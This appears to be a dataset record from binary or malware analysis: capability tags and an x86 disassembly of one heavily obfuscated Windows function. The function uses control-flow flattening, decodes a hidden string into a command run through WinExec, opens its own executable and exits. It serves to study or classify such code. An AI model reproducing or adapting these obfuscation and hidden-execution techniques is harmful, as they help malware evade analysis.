Function at 0x43ef58
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x830
mov esi, esp
mov dword [esi + 4], 0xb9be0274
mov eax, dword [esi + 4]
cmp eax, 0xf4d8c38c
jg 0x43efd0
cmp eax, 0xcf350613
jle 0x43f017
cmp eax, 0xe107af36
jg 0x43f0c3
cmp eax, 0xda3e6def
jg 0x43f242
cmp eax, 0xcf350614
je 0x43f4d3
cmp eax, 0xd757abe3
jne 0x43f5f7
mov eax, dword [esi + 8]
mov ecx, 0xe2
add eax, ecx
shr eax, 8
mov ecx, eax
shl ecx, 5
add ecx, eax
shr ecx, 0x1d
mov dword [esi + 8], ecx
jmp 0x43f3e6
cmp eax, 0x3c8ab27b
jg 0x43f07c
cmp eax, 0x23bc4a88
jg 0x43f113
cmp eax, 0xd21419e
jle 0x43f264
cmp eax, 0xd21419f
je 0x43f4f2
cmp eax, 0x1a64fc57
je 0x43f611
cmp eax, 0x13b9c9b0
jne 0x43ef70
jmp 0x43f649
cmp eax, 0xb9be0273
jg 0x43f18b
cmp eax, 0x9f79ae4a
jg 0x43f291
cmp eax, 0x8af531ab
je 0x43f3e6
cmp eax, 0x9d07d720
jne 0x43ef70
mov eax, dword [esi + 8]
mov ecx, 0xcd
add eax, ecx
shr eax, 3
and eax, 0x1ffffc00
mov dword [esi + 8], eax
push 0x5dc4
push 0x3a78
push 0x5c10
push eax
call fcn.0043f6b0
add esp, 0x10
mov dword [esi + 4], 0xc1669378
jmp 0x43ef70
cmp eax, 0x619ba9b2
jle 0x43f1c4
cmp eax, 0x70f09108
jle 0x43f2ed
cmp eax, 0x70f09109
je 0x43f527
cmp eax, 0x7beaea4b
jne 0x43f604
imul eax, dword [esi + 0xc], 0x5f000
add eax, 0xffffdc60
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xdbd7bab4
jmp 0x43ef70
cmp eax, 0xeafef8d7
jg 0x43f312
cmp eax, 0xe107af37
je 0x43f536
cmp eax, 0xe3056842
jne 0x43ef70
mov eax, dword [esi + 0xc]
shr eax, 5
imul eax, eax, 0x76
add eax, 0xffffde67
shr eax, 0xc
mov ecx, eax
shl ecx, 7
sub ecx, eax
sub ecx, eax
add ecx, 0xf4
mov dword [esi + 0xc], ecx
mov dword [esi + 4], 0x23bc4a89
jmp 0x43ef70
cmp eax, 0x305d3718
jg 0x43f355
cmp eax, 0x23bc4a89
je 0x43f42f
cmp eax, 0x27bdab9a
jne 0x43ef70
push 5
push 0x484447
push 0x67
push dword [esi + 0x18]
call fcn.0043f6b0
add esp, 0x10
push 0x68
push dword [esi + 0x18]
push dword [esi + 0x1c]
call fcn.00450060
add esp, 0xc
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
push ecx
push ecx
push dword [eax]
push dword [esi + 0x1c]
push 0x800
lea edi, [esi + 0x28]
push edi
call fcn.0042e7cb
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [esi + 4], 0xc45fd1d8
jmp 0x43ef70
cmp eax, 0xc45fd1d7
jg 0x43f399
cmp eax, 0xb9be0274
je 0x43f545
cmp eax, 0xc1669378
jne 0x43ef70
push dword [esi + 0x10]
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [esi + 4], 0xda3e6df0
jmp 0x43ef70
cmp eax, 0x5080623b
jle 0x43f3f2
cmp eax, 0x5080623c
je 0x43f444
cmp eax, 0x5f981636
jne 0x43ef70
mov eax, dword [esi + 8]
lea ebx, [eax + eax]
add ebx, 0x132
and ebx, 0xfffffe00
add ebx, 0xffffffe0
mov edi, 0xb9be0274
and ebx, 0xffff8000
mov dword [esi + 8], ebx
je 0x43f20f
mov edi, 0xebc0c12f
push 0x541f
push ebx
push 0x4cf4
push 0x16ed
call fcn.0043f6b0
add esp, 0x10
push ebx
push 0x1a4a
push 0x208e
call fcn.0042e7cb
add esp, 0xc
mov dword [esi + 4], edi
jmp 0x43ef70
cmp eax, 0xda3e6df0
je 0x43f573
cmp eax, 0xdbd7bab4
jne 0x43ef70
mov dword [esi + 4], 0x70f09109
jmp 0x43ef70
cmp eax, 0xf4d8c38d
je 0x43f47c
cmp eax, 0x8f0cc61
jne 0x43ef70
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esi + 0x24], eax
mov dword [esi + 4], 0x9f79ae4b
jmp 0x43ef70
cmp eax, 0x9f79ae4b
je 0x43f5a1
cmp eax, 0xa260c58f
jne 0x43ef70
mov ebx, dword [esi + 8]
shl ebx, 0x19
add ebx, 0xfffffff0
mov dword [esi + 8], ebx
push 0x22ed
push ebx
push 0x610d
push 0x2696
call fcn.0043f6b0
add esp, 0x10
push 0x8f7
push 0x274c
push ebx
call fcn.0042e7cb
add esp, 0xc
mov eax, 0xeafef8d8
cmp ebx, 0x43
jge 0x43f34b
jmp 0x43f599
cmp eax, 0x619ba9b3
je 0x43f488
cmp eax, 0x65bbaa71
jne 0x43ef70
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0x30904810
jmp 0x43ef70
cmp eax, 0xeafef8d8
je 0x43f5b1
cmp eax, 0xebc0c12f
jne 0x43ef70
mov ecx, dword [esi + 8]
mov eax, 0xbc
add ecx, eax
mov eax, ecx
shr eax, 2
mov dword [esi + 8], eax
mov eax, 0xd21419f
cmp ecx, 0x190
jb 0x43f599
mov eax, 0xc9f1c1e4
jmp 0x43f599
cmp eax, 0x305d3719
je 0x43f49a
cmp eax, 0x30904810
jne 0x43ef70
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x18]
mov byte [eax + 0x67], 0
push 0x67
push str.p_a3akS_2g3BlpaCqYgoar__2p3
push dword [esi + 0x18]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0x27bdab9a
jmp 0x43ef70
cmp eax, 0xc45fd1d8
je 0x43f5d3
cmp eax, 0xc9f1c1e4
jne 0x43ef70
push 0x200
push dword [esi + 0x14]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push eax
push eax
push 3
push eax
push 7
push 0x80000000
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x20], eax
mov dword [esi + 4], 0x7beaea4b
jmp 0x43ef70
mov dword [esi + 4], 0xc9f1c1e4
jmp 0x43ef70
cmp eax, 0x46b8f08f
jne 0x43f5e3
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0xe7]
imul eax, eax
imul edx, eax, 0x5013
imul ecx, ecx, 0x1300
add ecx, 0xffff2f00
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x305d3719
cmp eax, edx
je 0x43f474
mov ecx, 0x619ba9b3
jmp 0x43f474
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0x46b8f08f
jmp 0x43ef70
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff64
add eax, ecx
shr eax, 8
mov ecx, eax
shl ecx, 0xa
imul eax, eax
imul edx, eax, 0x1685
dec edx
or ecx, 0x17
mov dword [esi + 0xc], ecx
mov ecx, 0x1a64fc57
cmp eax, edx
je 0x43f474
mov ecx, 0x65bbaa71
mov dword [esi + 4], ecx
jmp 0x43ef70
mov dword [esi + 4], 0xe107af37
jmp 0x43ef70
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esi + 4], 0x5080623c
jmp 0x43ef70
mov edi, dword [esi + 8]
add edi, 0x2a
mov dword [esi + 8], edi
push 0x711
push edi
push 0xbab
push 0xbed
call fcn.0043f6b0
add esp, 0x10
mov eax, 0xd757abe3
cmp edi, 0x31
jb 0x43f599
mov eax, 0x434d8672
jmp 0x43f599
mov eax, dword [esi + 0xc]
shr eax, 5
lea eax, [eax*4 + 0x148]
shr eax, 0x14
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf4d8c38d
jmp 0x43ef70
imul eax, dword [esi + 8], 0x1be000
add eax, 0xffffff60
mov dword [esi + 8], eax
push 0x31de
push eax
push 0x196e
push 0x7a
call fcn.0043f6b0
add esp, 0x10
call fcn.00408e87
mov dword [esi + 4], 0x8f0cc61
jmp 0x43ef70
mov eax, dword [esi + 0x10]
mov dword [esi + 4], 0xc1669378
jmp 0x43ef70
mov eax, dword [esi + 0x14]
mov dword [esi + 4], 0x8f0cc61
jmp 0x43ef70
push eax
sub esp, 0x1fc
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x10], eax
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x1c], eax
mov dword [esi + 4], 0xcf350614
jmp 0x43ef70
mov eax, dword [esi + 0xc]
add eax, 0x37
mov ecx, eax
imul ecx, eax
shr eax, 2
imul edx, ecx, 0x80af
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xb9be0274
cmp ecx, edx
je 0x43f599
mov eax, 0xeafef8d8
mov dword [esi + 4], eax
jmp 0x43ef70
shl dword [esi + 0xc], 9
mov dword [esi + 4], 0x8af531ab
jmp 0x43ef70
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0xffffffff
adc eax, 0xffffffff
mov edx, dword [esi + 0x10]
mov dword [edx], ecx
mov dword [edx + 4], eax
mov dword [esi + 4], 0xe3056842
jmp 0x43ef70
shl dword [esi + 0xc], 0x16
mov dword [esi + 4], 0x3c8ab27c
jmp 0x43ef70
cmp eax, 0x3c8ab27c
je 0x43f654
cmp eax, 0x434d8672
jne 0x43ef70
jmp 0x43f65c
cmp eax, 0xd4d2b734
jne 0x43ef70
jmp 0x43f66a
cmp eax, 0x72506788
jne 0x43ef70
jmp 0x43f679
mov edi, 0xfffffce8
mov dword [esi + 8], edi
push edi
push 0x14f0
push 0x1f73
call fcn.0042e7cb
add esp, 0xc
push edi
push 0x1e07
push 0x1b76
push 0x41ec
call fcn.0043f6b0
add esp, 0x10
jmp 0x43ef69
mov eax, dword [esi + 8]
add eax, 0xffffff82
shr eax, 0xe
jmp 0x43f671
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
imul eax, dword [esi + 8], 0x18ae
add eax, 0x78504
jmp 0x43f671
imul eax, dword [esi + 8], 0x2dd38
mov dword [esi + 8], eax
call fcn.0043ef58
imul eax, dword [esi + 8], 0xa400
add eax, 0xa800
mov dword [esi + 8], eax
push eax
push 0x518
push 0x3685
push 0x20a
call fcn.0043f6b0
add esp, 0x10
call fcn.0043ef58
int3